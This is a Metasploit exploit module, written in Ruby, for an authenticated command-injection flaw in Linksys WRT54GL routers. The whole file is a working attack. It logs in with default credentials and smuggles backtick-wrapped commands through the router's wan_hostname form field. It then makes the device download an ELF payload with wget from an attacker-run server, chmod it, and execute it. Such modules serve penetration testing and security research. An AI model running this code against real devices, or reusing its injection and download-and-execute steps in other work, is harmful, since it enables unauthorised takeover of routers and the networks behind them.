## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linksys WRT54GL apply.cgi Command Execution', 'Description' => %q{ Some Linksys Routers are vulnerable to an authenticated OS command injection in the Web Interface. Default credentials are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. The user must be prudent when using this module since it modifies the router configuration while exploitation, even when it tries to restore previous values. }, 'Author' => [ 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '89912' ], [ 'BID', '57459' ], [ 'EDB', '24202' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ] ], 'DisclosureDate' => 'Jan 18 2013', 'Privileged' => true, 'Platform' => %w{ linux unix }, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsel Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1 )) register_options( [ OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]) ]) end def get_config(config, pattern) if config =~ /#{pattern}/ return $1 end return "" end def grab_config(user,pass) print_status("#{rhost}:#{rport} - Trying to download the original configuration") begin res = send_request_cgi({ 'uri' => '/index.asp', 'method' => 'GET', 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) if res.body =~ /lan_ipaddr_0/ print_good("#{rhost}:#{rport} - Successful downloaded the configuration") else fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible") end else fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end #now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested! @now_proto_orig = get_config(res.body, "") if @now_proto_orig !~ /dhcp/ fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") end @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;") if @wan_proto_orig !~ /dhcp/ fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") end @lan_proto_orig = get_config(res.body, "") @lan_ipaddr_orig = get_config(res.body, "") @wait_time_orig = get_config(res.body, "") @need_reboot_orig = get_config(res.body, "") @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>") @lan_ipaddr_1_orig = get_config(res.body, "\") @lan_ipaddr_2_orig = get_config(res.body, "\") @lan_ipaddr_3_orig = get_config(res.body, "<\/TD>") @router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Router%20Name\"\\)><\/FONT><\/TD>") @wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Domain%20name\"\,SPACE_NO\\)><\/FONT><\/TD>") @wan_hostname_orig = get_config(res.body, "<\/FONT><\/TD>") @wan_mtu_orig = get_config(res.body, "<\/TD>") if @wan_mtu_orig.to_i > 1500 @mtu_enable = "0" end @ui_language_orig = get_config(res.body, "<\/SCRIPT>") @dhcp_lease_orig = get_config(res.body, "<\/TD>") @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ " << "onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">") @netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>") @wan_dns_orig = get_config(res.body, "") @wan_dns0_1_orig = get_config(res.body, "") @wan_dns0_2_orig = get_config(res.body, "") @wan_dns0_3_orig = get_config(res.body, "") @wan_dns1_0_orig = get_config(res.body, "") @wan_dns1_1_orig = get_config(res.body, "") @wan_dns1_2_orig = get_config(res.body, "") @wan_dns1_3_orig = get_config(res.body, "") @wan_dns2_0_orig = get_config(res.body, "") @wan_dns2_1_orig = get_config(res.body, "") @wan_dns2_2_orig = get_config(res.body, "") @wan_dns2_3_orig = get_config(res.body, "") @wan_wins_orig = get_config(res.body, "") @wan_wins_1_orig = get_config(res.body, "") @wan_wins_2_orig = get_config(res.body, "") @wan_wins_3_orig = get_config(res.body, "") end def restore_conf(user,pass,uri) # we have used most parts of the original configuration # just need to restore wan_hostname cmd = @wan_hostname_orig.to_s print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration") res = request(cmd,user,pass,uri) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") end #the device needs around 10 seconds to apply our current configuration print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) end def request(cmd,user,pass,uri) begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'authorization' => basic_auth(user,pass), 'encode_params' => false, 'vars_post' => { 'submit_button' => "index", 'change_action' => "1", 'submit_type' => "1", 'action' => "Apply", 'now_proto' => @now_proto_orig.to_s, 'daylight_time' => @daylight_time_orig.to_s, 'lan_ipaddr' => @lan_ipaddr_orig.to_s, 'wait_time' => @wait_time_orig.to_s, 'need_reboot' => @need_reboot_orig.to_s, 'ui_language' => @ui_language_orig, 'wan_proto' => @wan_proto_orig.to_s, 'router_name' => @router_name_orig.to_s, 'wan_hostname' => cmd, 'wan_domain' => @wan_domain_orig.to_s, 'mtu_enable' => @mtu_enable.to_s, 'wan_mtu' => @wan_mtu_orig.to_s, 'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s, 'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s, 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, 'lan_netmask' => "255.255.255.#{@netmask_orig}", 'lan_proto' => @lan_proto_orig.to_s, 'dhcp_check' => "1", 'dhcp_start' => @dhcp_start_orig.to_s, 'dhcp_num' => @dhcp_num_orig.to_s, 'dhcp_lease' => @dhcp_lease_orig.to_s, 'wan_dns' => @wan_dns_orig.to_s, 'wan_dns0_0' => @wan_dns0_0_orig.to_s, 'wan_dns0_1' => @wan_dns0_1_orig.to_s, 'wan_dns0_2' => @wan_dns0_2_orig.to_s, 'wan_dns0_3' => @wan_dns0_3_orig.to_s, 'wan_dns1_0' => @wan_dns1_0_orig.to_s, 'wan_dns1_1' => @wan_dns1_1_orig.to_s, 'wan_dns1_2' => @wan_dns1_2_orig.to_s, 'wan_dns1_3' => @wan_dns1_3_orig.to_s, 'wan_dns2_0' => @wan_dns2_0_orig.to_s, 'wan_dns2_1' => @wan_dns2_1_orig.to_s, 'wan_dns2_2' => @wan_dns2_2_orig.to_s, 'wan_dns2_3' => @wan_dns2_3_orig.to_s, 'wan_wins' => @wan_wins_orig.to_s, 'wan_wins_0' => @wan_wins_0_orig.to_s, 'wan_wins_1' => @wan_wins_1_orig.to_s, 'wan_wins_2' => @wan_wins_2_orig.to_s, 'wan_wins_3' => @wan_wins_3_orig.to_s, 'time_zone' => "-08+1+1", #default is ok '_daylight_time' => '1' #default is ok } }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost} - Failed to connect to the web server") return nil end end def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/apply.cgi' user = datastore['HttpUsername'] pass = datastore['HttpPassword'] rhost = datastore['RHOST'] rport = datastore['RPORT'] restore = datastore['RESTORE_CONF'] @timeout = 10 # # testing Login # print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end grab_config(user,pass) if target.name =~ /CMD/ if not (datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded cmd = "`#{cmd}`" res = request(cmd,user,pass,uri) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) restore_conf(user,pass,uri) if restore return end #thx to Juan for his awesome work on the mipsel elf support @pl = generate_payload_exe @elf_sent = false # # start our server # resource_uri = '/' + downfile if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end #we use SRVHOST as download IP for the coming wget command. #SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end # # download payload # print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}") #this filename is used to store the payload on the device filename = rand_text_alpha_lower(8) #not working if we send all command together -> lets take three requests cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" cmd = "`#{cmd}`" res = request(cmd,user,pass,uri) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download if (datastore['DOWNHOST']) #waiting some time so we could be sure that the device got the payload from our third party server print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload end register_file_for_cleanup("/tmp/#{filename}") # # chmod # cmd = "chmod 777 /tmp/#{filename}" cmd = "`#{cmd}`" print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) # # execute # cmd = "/tmp/#{filename}" cmd = "`#{cmd}`" print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) # #reload original configuration # if restore restore_conf(user,pass,uri) end end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end end